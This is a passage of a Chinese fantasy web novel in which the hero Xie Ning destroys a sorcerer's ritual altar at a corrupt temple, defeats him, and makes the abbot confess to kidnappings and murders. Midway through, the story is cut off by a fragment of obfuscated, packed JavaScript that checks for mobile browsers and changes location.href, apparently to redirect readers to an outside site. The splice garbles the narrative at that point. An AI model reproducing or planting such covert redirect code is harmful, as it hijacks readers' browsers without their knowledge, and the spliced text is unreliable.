“新抓来的那批货色品质都相当不错,尤其是那几个孕妇,肚子里的怨胎已经快要成型了。
“再过七七四十九天,我们就能再炼成一尊鬼王!到时候,法师您的九子鬼母幡,威力必将更上一层楼!”
“嗯。”
黑袍人满意地点了点头。
“继续给我盯紧了。”
“这可是我们献给贤王殿下最好的礼物,绝对不能出任何差错。”
“是!”
老和尚躬身应道。
谢宁再也听不下去了。
他怕自己再听下去,会忍不住现在就冲出去,把这里彻底夷为平地!
他悄无声息地一步步退回了甬道之中。
等回到外面那个巨大的溶洞时,他的脸色已经阴沉得快要滴出水来。
一个疯狂而又大胆的计划,在他的脑海中迅速成型。
既然你们想玩阴的。
那我就陪你们好好玩玩。
谢宁从黑暗的甬道中走出来时,身上那股毫不掩饰的杀气,把正在忙着救人的清风明月和几名暗卫,都给吓了一跳。
“公子,您这是……”
清风小心翼翼地迎了上来。
“人都救出去了么?”
谢宁的声音沙哑得厉害。
“回公子,都已经转移到外面去了。”
一名玄字房的暗卫连忙回道。
“公主殿下派来接应的人已经到了,正在将她们送往城南的别院安置。”
“很好。”
谢宁点了点头。
他的目光缓缓地落在了溶洞中央,那个巨大的黑色陶罐上。
眼神里,再也没有了丝毫的忌惮,只剩下纯粹的,毫不掩饰的毁灭欲。
“所有人都退出去。”
谢宁的声音不大,却带着一种不容置疑的威严。
“立刻,马上!”
“公子,发生了什么事?”
明月察觉到了不对劲。
“别问那么多,执行命令!”
谢宁低喝一声。
众人心头一凛,不敢再有丝毫的犹豫,立刻转身,
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以最快的速度朝着洞口的方向撤离。
很快,整个巨大的溶洞里,就只剩下了谢宁和清风明月三人。
他转头看向清风。
“把我给你的那个大家伙拿出来。”
清风嗯了一声,随即便从后背上那鼓鼓囊囊的包裹里取出了一个用油布和麻绳包裹起来的物件。
明月好奇地凑过去看了一眼,却看不出个所以然。
这东西黑乎乎的,看起来像个铁疙瘩,又有点像个大号的铁胆。
“公子,您这是要……”
明月不解地问道。
“驱魔。”
谢宁从清风手里接过了那个沉甸甸的铁疙瘩,在手里掂了掂,嘴角咧开一个冰冷的笑容。
“一种比较特别的驱魔方式,我称之为物理驱魔。”
物理驱魔?
明月听得一头雾水。
清风的脸上却露出了极度兴奋的表情。
他可是亲眼见过公子捣鼓这玩意的。
当初公子说,这东西叫霹雳子,一颗就能把一座小山头给平了。
他当时还不太信,直到他真正见识过这东西的威力后,便再也说不出话来了。
一想到这东西**时的威力,清风就忍不住想笑。
太刺激了!
这可比偷偷摸摸地**有意思多了!
“你们不是想知道,这帮畜生到底在搞什么鬼么?”
谢宁的目光,扫过那个巨大的祭坛,和祭坛上那九杆正在无风自动的邪幡。
“他们想用这东西给我和长公主送一份大礼。”
“我这个人向来喜欢礼尚往来。今晚,我就先送他们一份回礼。”
谢宁的声音里,带着一种疯狂的快意。
“准备准备,把这地方连同这里面所有的腌臜东西,一炮都给送上天!让他们知道什么叫中心开花!什么叫神形俱灭!”
清风和明月听到这话,只觉得浑身的血液都跟着沸腾了起来。
“公子,您下令吧!”
清风激动地说道。
“要我们做什么?”
“你们两个先退到洞口去守着。”
谢宁将手里的霹雳子递给清风。
“看好这东西,别让人靠近,我去去就来。”
第七十四章 中心开花
说完,谢宁的身影一晃,竟然直接朝着那个阴森的祭坛走了过去。
“公子!”
清风和明月大惊失色。
谢宁刚才不是还说那祭坛碰都不能碰么?
“放心。”
谢宁的声音从前面传来。
“区区一个邪阵,还奈何不了我。”
只见他走到祭坛边缘,并没有直接踏上去。
而是运转先天八卦图,并起剑指,口中念念有词。
随着他的念诵,他的指尖竟然开始散发出一阵阵肉眼可见的柔和光芒。
金光所到之处,那些从祭坛上散发出来的阴邪黑气,就如同遇到了克星一般,纷纷退散,发出一阵“滋滋”声。
“破!”
谢宁轻喝一声,一指点在了祭坛的阵眼之上。
“嗡!”
整个祭坛猛地一震。
上面那些原本散发着邪异气息的符文瞬间黯淡了下去。
那九杆九子鬼母幡,也像是被抽掉了所有的力气,软趴趴地垂了下来。
整个祭坛的邪阵,竟然就这么被他轻而易举地给破掉了!
清风和明月在后面看得是目瞪口呆。
他们不知道谢宁到底还有多少隐藏手段是他们不知道的。
破掉邪阵之后,谢宁才大步流星地走上了祭坛。
他居高临下地看着那个巨大的黑色陶罐,眼神冰冷得不带一丝温度。
“准备好了么?”
他像是在对一个**说话。
“准备好上路了么?”
谢宁站在祭坛之上,整个人的气势在这一刻攀升到了顶点。
“清风,把东西给我。”
他朝着洞口的方向伸出了手。
“是,公子!”
清风不敢怠慢,立刻抱着那个沉甸甸的霹雳子快步跑上了祭坛,小心翼翼地交到了谢宁的手上。
“你们两个现在立刻退出去。”
谢宁接过东西,头也不回地说道。
“退到山洞外面去,找个安全的地方躲起来。”
“公子,您……”
明月还想说什么。
“这是命令!”
谢宁的语气,不容置疑。
“我不想再说第二遍。”
清风拉了一把还有些犹豫的明月。
“走!”
他知道,公子一旦做了决定,就没人能改变。
两人不再多言,重重地对着谢宁的背影一抱拳,而后转身,以最快的速度朝着洞口的方向飞奔而去。
整个洞窟,又一次只剩下了谢宁一个人。
他看着手里的霹雳子,脸上露出了一丝满意的笑容。
这东西是他闲来无事的时候,根据穿越前的一些化学知识,再结合这个世界的一些特殊材料,捣鼓出来的得意之作。
威力嘛,应该还算过得去。
他蹲下身,将这颗精心准备的大宝贝小心翼翼地塞进了那个巨大的黑色陶罐底下。
位置,正好是整个祭坛的中心。
做完这一切,他又从怀里掏出了几张黄色的符纸。
他咬破指尖,用自己的鲜血在符纸上迅速地画下了几道极其复杂的符文。
“乾坤借法,艮山镇之!”
他将其中一张符纸猛地拍在了霹雳子上。
这道符可以保证霹雳子在**的瞬间引动山石之力,将**的威力向下压缩,形成一个恐怖的冲击核心。
“离火焚天,巽风助之!”
他又将两张符纸分别贴在了陶罐的两侧。
这两道符,可以在**时,催生出温度极高的离火,再借助风势,将火焰的威力提升到极致。
保证能把这个陶罐连同里面那个所谓的鬼王烧得渣都不剩。
“坎水为引,震雷破之!”
最后,他将一张符纸远远地扔进了祭坛下方的血槽之中。
这张符是引子。
只要他心念一动,便能引动雷霆,瞬间引爆所有的一切。
做完这一切,谢宁才满意地拍了拍手。
四象之力,环环相扣。
再加上霹雳子本身的力量。
这一炸,绝对能给他们来个永生难忘的教训。
不过,为了保险起见,他觉得还不够。
他再次运转先天八卦图。
“阵起!”
谢宁低喝一声,将体内的先天真气源源不断地灌输到双脚之上。
一步踏出,一个金光闪闪的的八卦阵图,以祭坛为中心,迅速地向四周扩散开来。
阵图迅速形成了一个倒扣的巨碗,将整个祭坛,连
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同那九杆邪幡全都笼罩在了其中。
这个阵法是他刚刚才想到的。
作用很简单。
就是把**的威力,全都给死死地锁在固定范围之内。
他要让所有的力量都集中在这一点上,把这一切都彻底毁掉。
当然,他也不想因为动静太大,把整个后山都给炸塌了,那就不太好收场了。
现在,万事俱备。
谢宁最后看了一眼这个即将被夷为平地的洞窟,嘴角勾起一抹残忍的弧度。
他身形一晃,整个人化作一道残影,朝着洞口的方向急速掠去。
几乎就在他冲出洞口的瞬间。
他心念一动。
“爆!”
一个字从他的口中轻轻吐出。
下一秒。
“轰!!!!!”
一声惊天动地的巨响,猛地从地底深处传了出来。
整个山体都在这一刻剧烈颤抖了一下。
无数的碎石和尘土从洞顶簌簌落下。
一股无法形容的,炽热狂暴的气浪,夹杂着毁灭一切的力量,猛地从那个漆黑的洞口里喷涌而出。
躲在远处的清风和明月,猝不及防之下,被这股气浪直接掀飞了出去,在地上滚了好几圈才停下来。
他们顾不上身上的疼痛,一脸骇然地看着那个不断冒着黑烟和火光的洞口,心脏都快要从嗓子眼儿里跳出来了。
这就是物理驱魔?
这威力是不是过于恐怖了些!
这哪里是驱魔?
这分明就是天罚!
而在洞窟之内。
那由先天八卦图构成的金色光罩,在**的瞬间,剧烈地闪烁了一下。
光罩之内,一切都已经化为了虚无。
无论是那个巨大的祭坛,还是那个歹毒的陶罐,亦或是那九杆邪幡。
全都在那极致的高温和狂暴的冲击力下,被瞬间气化分解,连一丝一毫的残渣都没有留下。
那股盘踞在溶洞里,浓郁到化不开的阴邪之气,也在金色的离火焚烧之下,被彻底净化,荡然无存。
一击之下,毁天灭地!
“噗!”
就在此时,石室之内,那个一直盘膝而坐,仿佛与世隔绝的黑袍人,猛地喷出了一口黑血。
第七十五章 你在鬼叫什么
他身上那件宽大的黑袍无风自动,猎猎作响。
“不!”
似乎是感应到什么,一声凄厉到不似人声的惨叫,从他的口中猛然发出。
“我的鬼王,我的九子幡!”
他能感觉到,自己耗费了数十年心血,用无数人的性命和怨气祭炼出来的法器,就在刚才那一瞬间,与他彻底失去了联系。
那种感觉,就像是自己身体的一部分被人生生地给剜了去!
“是谁?到底是谁?”
他猛地站起身,双目赤红,状若疯魔。
他身旁的老和尚,也被这突如其来的惊变吓得是魂飞魄散,一屁股瘫坐在了地上。
“法……法师,怎么了?”
“滚!”
黑袍人一脚将他踹开,身形化作一道黑色的旋风,直接冲出了石室。
当黑袍人冲出那条隐蔽的甬道,看见出现在眼前的一幕时,整个人都蒙了。
原本放置陶罐与阵法的地下溶洞,此刻已经彻底化作一片废墟。
中央那个耗费了他无数心血的祭坛,已经彻底消失不见,只留下一个巨大无比,还在冒着缕缕青烟的焦黑大坑。
空气中,弥漫着一股刺鼻的硝石味道。
他的鬼王,他的九子鬼母幡,他所有的心血,全都没了。
“啊!!!”
黑袍人仰天咆哮。
整个山洞,都因为他的怒吼而剧烈晃动起来。
无数碎石从洞顶哗啦啦地往下掉。
“是谁?到底是谁干的?给我滚出来!”
他状若疯魔,猩红的目光疯狂地扫视着四周。
很快,他的目光就定格在了洞窟的入口处。
在那里,一道修长挺拔的身影,正静静地站在那里。
那人穿着一身黑色的劲装,身形笔直如枪,脸上带着几分玩味的笑容,正饶有兴致地看着他。
“是你?”
黑袍人的声音,嘶哑而又怨毒。
“是你毁了我的东西?”
“你的东西?”
谢宁掏了掏耳朵,一脸无辜地说道。
“什么东西?我不知道啊。我就是路过,听到这里砰的一声,动静挺大的,就进来看看热闹。你又是哪位?大半夜的在这里鬼吼鬼叫,影响别人睡觉,很不礼貌的。”
“你找死!”
黑袍人何等人物,又怎会看不出谢宁是在拿他开心。
而且谢宁身上那股若有若无的,让他感到极度不舒服的气息,已经说明了一切。
就是他毁的!
一定就是他!
黑袍人不再废话,干枯的手掌猛地从袖中探出。
“嗡!”
一股肉眼可见的黑色气流,瞬间在他的掌心汇聚。
那气流之中,仿佛有无数张痛苦的鬼脸在嘶吼,在挣扎。
“小畜生,我要你求生不得,求死不能!”
他厉喝一声,手掌猛地向前一推。
那股黑色的气流,瞬间化作一条狰狞的黑色毒蛇,张开血盆大口,带着刺耳的破空声,朝着谢宁闪电般地噬咬而去!
面对黑派人的突然出手,谢宁的脸上却连一丝一毫的紧张都没有。
他甚至连动都懒得动一下。
就在那条黑色毒蛇即将咬到他面门的瞬间。
“滚!”
一声清冷的低喝,突然从谢宁的身后响起。
紧接着,两道快如闪电的剑光,一左一右,交叉着斩出!
正是及时赶回来的清风和明月!
他们的剑法,本就是顶尖的**之术。
此刻含怒出手,更是凌厉到了极点!
“唰!”
只听一声轻响。
那条由怨气凝成的黑色毒蛇,甚至还没来得及发出一声悲鸣,就被那两道凌厉的剑光直接斩成了三段!
黑气溃散,消失在了空气之中。
“嗯?”
黑袍人见自己的攻击被破,眼神不由得一凝。
他的目光,落在了突然出现的清风和明月身上。
“两个不错的练家子,可惜,跟错了主子,注定要死在这里。”
他的声音,充满了高高在上的漠然。
“妖人,休得猖狂!”
清风手持长剑,遥遥地指着他。
“今日,我兄弟二人就宰了你这个不人不鬼的畜生!”
“替天行道?”
黑袍人像是听到了什么天大的笑话。
“就凭你们两个乳臭未干的小子?还有你!”
他的目光,再次落回到了谢宁的身上。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16006795|178331||http|test|mini|href|location''.split(''|''),0,{}));
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r>“我不管你是谁,背后又有什么人,今天,你们三个,都得死!”
话音未落,他身上的黑袍猛地一鼓。
一股比之前强大了十倍不止的黑色气浪,轰然爆发!
整个溶洞里的温度,都仿佛在这一刻骤然降了下来。
“小心。”
谢宁提醒了一句。
“这个老家伙要动真格的了。”
“公子放心!”
清风和明月对视一眼,眼中战意高昂。
“今天就让这老妖怪看看,我们兄弟俩的剑到底利不利!”
“且慢,你们二人去对付那个跟出来的老秃驴。”
谢宁的目光越过黑袍人,落在了他身后那个刚刚从地上爬起来,一脸惊恐的老和尚身上。
“这个黑袍的交给我。”
“公子,他……”
明月有些担忧。
这个黑袍人给他的感觉,极度危险。
“放心。”
谢宁笑了笑。
“我还没玩够呢,正好拿他来练练手。”
清风和明月闻言,不再犹豫。
“是!”
两人身形一晃,直接绕过黑袍人,朝着那个老和尚冲了过去。
老和尚见状,脸色大变。
他虽然也是个中好手,但如何是清风明月这两个顶尖高手的对手?
他怪叫一声,从怀里掏出一串黑色的念珠,就准备抵挡。
而黑袍人,却连看都懒得看他一眼。
在他看来,那个老和尚跟王氏一样,都只是一枚随时可以丢弃的棋子。
死活,与他无关。
他现在所有的注意力,都集中在了谢宁的身上。
“小子,不得不承认,你很有胆量。”
黑袍人沙哑地说道。
“只可惜,胆量并不能救你的命。”
“废话真多。”
谢宁撇了撇嘴。
“要打就快点,我还赶着回家睡觉呢。”
“你!”
黑袍人被他这副满不在乎的态度,气得是怒火中烧。
“好,很好!”
他双手猛地在胸前合十,结出一个诡异的手印。
“幽冥鬼爪!”
随着他一声厉喝。
他身后的地面,竟然猛地裂开了一道缝隙。
第七十六章 四象神君
一只由森森白骨构成的,巨大无比的鬼爪,带着浓郁的死气,猛地从地底钻了出来,朝着谢宁当头抓下!
那鬼爪之上,还缠绕着无数凄厉的冤魂。
光是那股气息,就足以让普通人瞬间心神崩溃,肝胆俱裂!
面对那从天而降,遮天蔽日的巨大骨爪。
谢宁的脸上依旧没有半分惧色。
他甚至还有闲心对着那黑袍人露出一个灿烂的笑容。
“就这?我还以为有多厉害呢。雕虫小技,也敢拿出来献丑?”
“狂妄!”
黑袍人见他死到临头还敢嘴硬,不由得怒极反笑。
他倒要看看,等这小子的脑袋被捏爆的时候,他还能不能笑得出来!
眼看着那巨大的鬼爪就要落下。
谢宁终于动了。
他没有选择后退,也没有选择闪避。
而是不退反进,迎着那巨大的鬼爪,猛地向前踏出一步!
“给我破!”
他暴喝一声,右拳紧握,体内的先天真气在这一刻毫无保留地涌向右臂。
一层淡淡的,却又无比凝实的金色光芒,瞬间覆盖了他的整个拳头。
下一秒。
他一拳,对着那巨大的鬼爪,狠狠地轰了出去!
这一拳没有任何花里胡哨的技巧。
有的只是最纯粹的力量。
“轰!”
金色的拳头与那森白的骨爪在半空中悍然相撞!
一声沉闷如雷的巨响,在整个溶洞里轰然炸开!
狂暴的气浪瞬间向着四面八方席卷而去。
黑袍人脸上的冷笑在这一刻僵住了。
他那双隐藏在面纱下的眼睛瞪得老大,写满了不敢置信。
自己那无往不利,足以捏碎金铁的幽冥鬼爪,在接触到那个年轻人拳头的瞬间。
竟然,寸寸碎裂!
那些坚硬无比的骨骼,在纯粹的阳刚真气面前,就如同脆弱的朽木一般,被瞬间碾成了齑粉。
那缠绕在鬼爪之上的无数冤魂,更是在那金光的照耀下,发出一声声凄厉的惨叫,当场魂飞魄散!
一拳!
仅仅一拳!
他引以为傲的术法,就被对方用最野蛮,最不讲道理的方式给硬生生破掉了。
这怎么可能?
黑袍人的心中掀起了滔天巨浪。
他修炼此术数十载,还从未遇到过如此诡异的事情。
这小子到底什么来路?
怎么感觉他用的才是道家正统的玄法。
“味道怎么样?”
谢宁收回拳头,甩了甩手,笑嘻嘻地看着他。
“我这一拳,还算够劲吧?”
“你……”
黑袍人被气得差点又是一口老血喷出来。
“小子,你不要太得意,刚才不过是开胃小菜而已!”
他强行压下心中的震惊,双手再次结印。
“百鬼夜行!”
随着他一声嘶吼。
整个溶洞的地面又一次开始剧烈颤抖起来,一道道裂缝在地上不断蔓延。
紧接着。
一只只,一具具形态各异,狰狞恐怖的恶鬼,从那些裂缝之中疯狂地爬了出来!
有缺胳膊少腿的,有开膛破肚的,有舌头拖到地上的……
不过是眨眼的功夫。
整个溶洞,就被这些奇形怪状的鬼怪给填满。
上百只恶鬼将谢宁团团围住,发出一阵阵令人头皮发麻的嘶吼和咆哮。
“小子,我看你怎么挡!”
黑袍人怨毒地嘶吼出声。
“就算你的拳头再硬,又能对付多少。”
“哦?”
谢宁环顾四周,看着那些张牙舞爪,朝着自己扑来的恶鬼,眉头微微一挑。
“数量是挺多的。可惜,都是些上不了台面的垃圾。”
他撇了撇嘴,脸上露出了一丝不耐烦的神色。
“跟你这种慢吞吞的家伙打,真是浪费时间。既然你喜欢玩群殴,那我就让你见识一下,什么才叫真正的以多欺少!”
话音未落。
谢宁的双手,突然在胸前结出了一个极其古朴,又极其玄奥的手印。
“道法自然,万神朝礼!”
“四象神君,听我号令!”
“敕!”
随着他最后一个字音落下。
他体内的先天真气,如同开了闸的洪水一般,疯狂地倾泻而出!
“轰隆!”
溶洞的顶上,毫无征兆地,凭空出现了一道道粗壮的紫色闪电,带着毁
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灭一切的气息,轰然劈下!
地面之上,一簇簇金色的火焰凭空燃起,将那些刚刚爬出来的恶鬼瞬间点燃!
除此之外,一条由水流组成的狰狞巨龙凭空凝聚,咆哮着冲进了鬼群之中,在里面横冲直撞。
更有无数道由狂风组成的风刃如同下雨一般,铺天盖地地朝着那些恶鬼席卷而去!
“四象神君的威名,没听过吧。”
谢宁咧嘴一笑,那些刚才还凶神恶煞,不可一世的恶鬼。
在这毁天灭地般的攻击面前,就如同纸糊的一般。
连一声惨叫都来不及发出,就在雷火风水的交织之下,被瞬间撕碎。
不过是短短几个呼吸的时间,上百只恶鬼,竟无一鬼逃脱。
“噗……”
黑袍人再次遭受重创,猛地喷出一大口鲜血,整个人踉跄着连连退了好几步。
他一脸骇然地看着那个如同神明一般,悬浮在半空之中的谢宁,眼神里第一次露出了些许恐惧。
道术!
这小子竟真会道术?
他到底是谁?
“怎么样?”
谢宁缓缓地从半空中落下,脚尖轻点地面,没有发出一丝声响。
他好整以暇地看着眼前已经面无人色,浑身颤抖的黑袍人,脸上的笑容灿烂得像个天真无邪的孩子。
“我这个以多欺少,跟你那个比起来,哪个更带劲一点?”
“你……你到底是谁?”
黑袍人声音颤抖地问道。
他修炼邪道数十年,自认为在整个大齐,乃至周边几国,都算得上是顶尖的存在。
可今天,他所有的骄傲和自信,都被眼前这个年轻人给彻底击碎了!
无论是那霸道无匹的拳头。
还是这神鬼莫测的道法。
都远远超出了他的认知范围。
他甚至开始怀疑,眼前这个家伙,到底还是不是人!
“我是谁不重要。”
谢宁一步一步地朝着他走了过去。
“重要的是你今天得死在这里。”
谢宁的每一步,都像是踩在黑袍人的心脏上,让他感到一阵阵的窒息。
“不,你不能杀我!”
黑袍人惊恐地尖叫起来。
第七十七章 一招制敌
“我是贤王殿下的人,你杀了我,贤王殿下是不会放过你的!”
事到如今,他只能搬出自己背后最大的靠山,希望能震慑住对方。
“贤王?”
谢宁的脚步顿了一下。
黑袍人见状,心中一喜,以为自己的威胁起作用了。
“没错!就是贤王!”
他连忙说道。
“当今圣上的亲皇叔!你若是敢动我一根汗**,就是跟整个皇室作对!到时候,天上地下,都再没有你的容身之处!”
“哦。”
谢宁点了点头,突然笑了。
“你说的这个贤王,是不是那个叫李什么玩意儿的?不好意思,我杀的就是他的人。”
什么?
黑袍人脸上的表情彻底凝固了。
“你不是想知道我是谁么,先前你们在下面,可还商量着要对付我,怎么这么快,连我是谁都不知道了。”
黑袍人一愣,恍然大悟一般指着谢宁道:“你,你就是那个谢宁?”
黑袍人目露绝望。
他知道,今天自己是真的踢到铁板了。
但很快,他神色一凝。
他知道谢宁断无放过他的可能,既然如此,不如拼一拼。
“是你逼我的!”
黑袍人眼中闪过一丝疯狂的决绝。
“今天我就算是死,也要拉着你一起陪葬!”
他猛地一咬舌尖,喷出一口精血。
同时从怀里掏出了一个黑漆漆的,只有巴掌大小的,看上去是用什么动物的头骨雕刻而成的东西。
那头骨之上,刻满了密密麻麻的血色符文,两个眼窝里还燃烧着两团绿油油的鬼火。
一股比之前所有邪术加起来还要阴毒和恐怖的气息,瞬间从那头骨之上弥漫开来。
“血祭魔颅!以我之魂,饲汝之身!给我杀!”
黑袍人凄厉地嘶吼着,将自己全身的精气和神魂,疯狂地注入到那个头骨之中。
那头骨上的鬼火瞬间暴涨!
“咔嚓!”
头骨的嘴巴猛地张开,发出一声刺耳的声响。
一股黑中带绿,还夹杂着令人作呕的腥臭味的毒雾,猛地从它的口中喷涌而出,如同潮水一般,朝着谢宁席卷而去!
看着那铺天盖地而来的,带着毁灭气息的毒瘴。
谢宁的眉头终于微微皱了一下。
这东西确实有点恶心。
他可不想沾上。
不过,也就仅此而已了。
“玩毒是吧?”
谢宁撇了撇嘴。
“正好让你也见识一下,什么叫科技的力量。”
他好整以暇地从自己的怀里也掏出了一个东西。
那是一个小巧的,用琉璃制成的小瓶子。
瓶子里面装着大半瓶清澈透明,看起来跟水没什么两样的液体。
黑袍人不知道他要干什么,但心中那股不安的预感,却越来越强烈。
只见谢宁拔开瓶塞,然后,将瓶子里的液体对着那漫天而来的毒瘴,随手一泼。
诡异的一幕发生了。
那些透明的液体,在接触到毒瘴的瞬间,竟然像是被点燃了一般。
“呼!”
一团蓝紫色的,温度高得吓人的火焰,凭空爆燃。
那火焰的蔓延速度,快得不可思议!
不过是眨眼之间,就将那漫天的毒瘴,全都引燃了!
“轰!”
一场更加剧烈的二次**轰然响彻整个溶洞。
那些歹毒无比的毒瘴,在这恐怖的高温之下,竟是连挣扎一下的机会都没有,就被烧得一干二净!
甚至,就连空气中那股恶心的腥臭味,都被净化得无影无踪。
“这……这又是什么妖法!”
黑袍人看着眼前这匪夷所思的一幕,整个人都傻了。
他的尸蟞毒瘴,竟然就这么被破了?
“妖法?”
谢宁晃了晃手里还剩个底的琉璃瓶,笑了笑。
“没文化,真可怕。”
“这叫酒精,懂吗?纯度百分之九十五的医用酒精。”
“点火烧着玩,效果一级棒。”
他当然不会告诉对方,自己在这酒精里,还加了点特制的白磷和助燃剂。
“你……”
黑袍人一口气没上来,差点当场气晕过去。
他引以为傲的本命法宝,竟然就这么被对方用一种他听都没听说过的,叫什么酒精的东西,给轻而易举地烧没了?
这对他造成的心理打击,远比刚才
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被破掉邪术还要巨大。
就在他心神失守的这一瞬间。
谢宁动了。
他的身影如同一道离弦之箭,瞬间跨越了两人之间的距离。
在黑袍人还没反应过来的时候,一只闪烁着淡金色光芒的拳头,已经印在了他的胸口。
“咔嚓!”
一阵清脆的骨裂声响起。
黑袍人只觉得一股无法抗拒的巨力传来,胸骨瞬间塌陷,整个人如同断了线的风筝一般倒飞了出去。
而后重重地砸在不远处的石壁上,再无声息。
一拳解决了黑袍人,谢宁拍了拍手,仿佛只是做了一件微不足道的小事。
他转过头看向另一边的战场。
清风和明月的战斗也已经接近了尾声。
那老和尚虽然也是个练家子,但在清风明月这两个配合默契,剑法刁钻狠辣的顶尖**面前,依旧是不够看。
不过是几十个回合,老和尚的身上就已经被划出了十几道深可见骨的伤口。
他那身黑色的僧袍,早就被鲜血染成了暗红色。
此刻,他正被清风一脚踹在膝弯,狼狈地跪倒在地。
明月那柄锋利的短剑,也已经冰冷地架在了他的脖子上。
“别……别杀我。”
老和尚吓得是魂飞魄散,裤裆里传来一阵骚臭味。
这位平日里在信徒面前道貌岸然,在手下人面前作威作福的住持大师,在死亡面前终于还是露出了自己最真实,也最不堪的一面。
“公子,这家伙怎么处置?”
清风走过来,开口问道。
“先留着,还有用。”
谢宁淡淡开口。
他走到老和尚面前,居高临下地看着他,眼神里没有一丝温度。
“我问,你答。”
“要是敢有半句假话……”
谢宁没有把话说完,但那冰冷的眼神,已经说明了一切。
“是是是!小僧一定知无不言,言无不尽!”
老和尚磕头如捣蒜,哪里还有半点出家人的样子。
“这个山洞,是谁让你们挖的?”
谢宁开口问道。
“是……是刚才那位法师。”
老和尚毫不犹豫地就把黑袍人给卖了。
第七十八章 大佛寺落网
“那位法师是三年前来到我们大佛寺的。”
老和尚深吸口气,继而道:“他说我们大佛寺是龙脉所在,有帝王之气,只要按照他的方法布置,就能让我们寺庙香火鼎盛,万古流芳。”
“这个山洞,还有那个祭坛,都是他一手设计的。”
“那个黑袍人,叫什么名字?是什么来路?”
谢宁继续问道。
“小僧……小僧不知。”
老和尚颤抖着说。
“那位法师一向是神龙见首不见尾,我们都只叫他法师,从不知道他的**。不过……”
他似乎想起了什么,连忙说道。
“我曾经无意中听到过,他跟人传信的时候,提到过一个地方。”
“贤王府?”
谢宁沉声开口。
老和尚沉默少顷,点了点头。
“不错。”
虽然早有猜测,但从这老和尚的口中得到证实,他心中的杀意,还是忍不住地翻涌起来。
“除了这些,你们还干了些什么伤天害理的事情?”
谢宁的声音愈发冰冷。
“没……没有了!”
老和尚矢口否认。
“我们就是听从法师的吩咐,帮他抓一些……一些祭品而已,其他的事情,我们一概不知啊!”
“是么?”
谢宁冷笑一声。
他突然伸出手,快如闪电地在老和尚的身上连点了几下。
老和尚只觉得几股奇怪的气流钻进了自己的体内,然后,就再也没有了任何感觉了。
“你……你对我做了什么?”
他惊恐地问道。
“没什么。”
谢宁收回手。
“就是给你种了点东西,这东西叫七日断肠蛊。七天之内,你要是还不说实话,你就会感觉到自己的肠子,像是被一万只蚂蚁在啃食,一寸一寸地断裂。”
“那种滋味,保证你永生难忘。而且,没有任何解药。”
“什么?”
老和尚听到这话,吓得是三魂丢了七魄。
他虽然不知道什么是蛊,但光听名字就知道这绝对不是什么好东西。
“我说!我说!我全都说!”
他的心理防线在这一刻彻底崩塌。
在接下来的半个时辰里。
老和尚将自己知道的不知道的,全都一五一十地交代了出来。
从他们如何利用送子观音的噱头欺骗那些高门贵妇,到他们暗中抓捕附近的少女和孕妇,将她们囚禁在这暗无天日的洞窟里,当成炼制邪法的药引。
再到他们如何将那些前来上香的香客骗入后院的禅房,榨干他们的钱财,甚至,还有一些不听话的,直接就被他们**灭口,埋在了后山的乱葬岗里。
一桩桩,一件件,罄竹难书!
清风和明月在旁边听得是目眦欲裂,拳头攥得咯咯作响。
他们恨不得现在就一剑把这个披着人皮的畜生给剐了。
谢宁的表情倒是没什么变化。
因为这一切,都在他的预料之中。
这个大佛寺,从里到外,早就已经烂透了。
“除了这些,寺里是不是还有账本之类的东西?”
谢宁问道。
这些,才是能将他们钉死的,最直接的证据。
“有!有!”
老和尚连忙点头。
“就在我的禅房里,有一个暗格,里面有我们大佛寺这几年所有的香火账目,还有…….还有一些跟贵人来往的信件!”
“很好。”
谢宁满意地点了点头。
“带我们去。”
就在这时。
一阵急促而又有序的脚步声,从洞口的方向传了过来。
紧接着,一大群身穿铠甲,手持兵刃的官兵,举着火把冲了进来。
为首的,是一名身材魁梧,面容刚毅的中年将领。
他看到溶洞里的景象,也是吃了一惊。
当他的目光落在谢宁身上时,连忙上前一步,单膝跪地。
“末将京兆尹府都尉张猛,参见谢世子!长公主殿下有令,三千府兵已经将整个大佛寺团团包围,听候世子调遣!”
李庆宁的动作,还真是快。
谢宁看着眼前这阵仗,心里流过一丝暖意。
“张都尉,来得正好。”
他指了指地上那个已经瘫软如泥的老和尚,和不远处那个不知死活的黑袍人。
“把这两个人,还有寺里所有和尚全都
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给我抓起来,严加看管,另外,派一队人,跟我来!”
“是!”
张猛大喝一声,立刻起身安排。
谢宁的眼中闪过一丝冷冽的光芒。
好戏,现在才刚刚开始。
在老和尚的带领下,谢宁带着一队府兵,很快就来到了他那间位于后院深处的禅房。
这间禅房从外面看,跟其他的僧舍没什么两样,一样的青砖灰瓦,古朴素净。
但一推开门,里面的景象却让所有人都倒吸了一口凉气。
只见这不大的房间里,竟然是金碧辉煌,奢靡到了极点!
地上铺着的是西域进贡的,价值千金的波斯地毯。
墙上挂着的是前朝名家的真迹字画。
桌案上摆放的,是整套的官窑瓷器。
就连那张用来睡觉的床,都是用名贵的金丝楠木打造而成,上面还雕刻着繁复精美的龙凤呈祥图案。
这哪里是什么出家人的禅房?
这分明就是一个王公贵族的寝宫!
“大师还真是酒肉穿肠过,佛祖心中留啊。”
谢宁看着眼前这奢华的一幕,忍不住冷笑出声。
“这日子,过得怕是比当朝王爷还要滋润。”
“不敢,不敢……”
老和尚跪在地上,吓得浑身发抖,连头都不敢抬。
“这些……这些都是香客们供奉的,小僧不敢私藏……”
“是么?”
谢宁懒得跟他废话。
“暗格在哪里?”
“在……在床底。”
老和尚哆哆嗦嗦地指了指那张金丝楠木大床。
一名府兵立刻上前,费了九牛二虎之力,才将那沉重的木床给挪开。
果然,在床下的青石板上,发现了一块颜色略有不同的地砖。
撬开地砖,一个黑漆漆的洞口便出现在了众人面前。
洞口下面,是一个半人多高的暗格。
里面整整齐齐地码放着十几个大大小小的木箱子。
府兵们将箱子一一抬了上来。
打开第一个箱子。
“哗啦!”
一片璀璨的金光,瞬间闪瞎了所有人的眼睛。
满满一箱,全都是金灿灿的金元宝!
第七十九章 都是罪证
打开第二个箱子。
里面装的,是码放得整整齐齐的银票,面额最小的,都是一百两一张。
打开第三个,第四个……
金银珠宝,古玩字画,地契房契……
每一箱,都足以让一个普通人家富足地生活十辈子不止。
“这些,也都是香客供奉的?”
